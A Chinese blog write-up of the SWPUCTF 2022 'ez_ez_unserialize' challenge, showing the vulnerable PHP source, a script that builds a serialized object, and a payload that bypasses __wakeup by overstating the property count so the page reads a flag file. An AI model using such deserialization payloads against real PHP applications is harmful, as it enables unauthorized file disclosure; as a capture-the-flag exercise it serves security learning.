复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
江湖浩淼3 小时前
CVE-2021-4034-pwnkit提权
安全·web安全
Sagittarius_A*6 小时前
【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入
开发语言·安全·web安全·靶场·php·rce
网络安全零基础教程9 小时前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
白猫不黑1 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
网络安全零基础教程2 天前
网络安全春招面试避坑与复盘指南
linux·网络·安全·web安全·面试·职场和发展
汉堡包0012 天前
【工具分享】--威胁情报平台大全
学习·安全·web安全·信息安全
介一安全2 天前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src
云水一下2 天前
零基础玩转bWAPP靶场(二十三):SQL 注入——存储型(SQLite)
web安全·sql注入·bwapp
白猫不黑2 天前
SQL注入实战:手工注入全流程详解
网络·数据库·sql·web安全·网络安全·信息安全
网安老伯4 天前
网络安全基础要点知识介绍(非常详细),零基础入门到精通,看这一篇就够了
运维·前端·网络协议·web安全·网络安全·职场和发展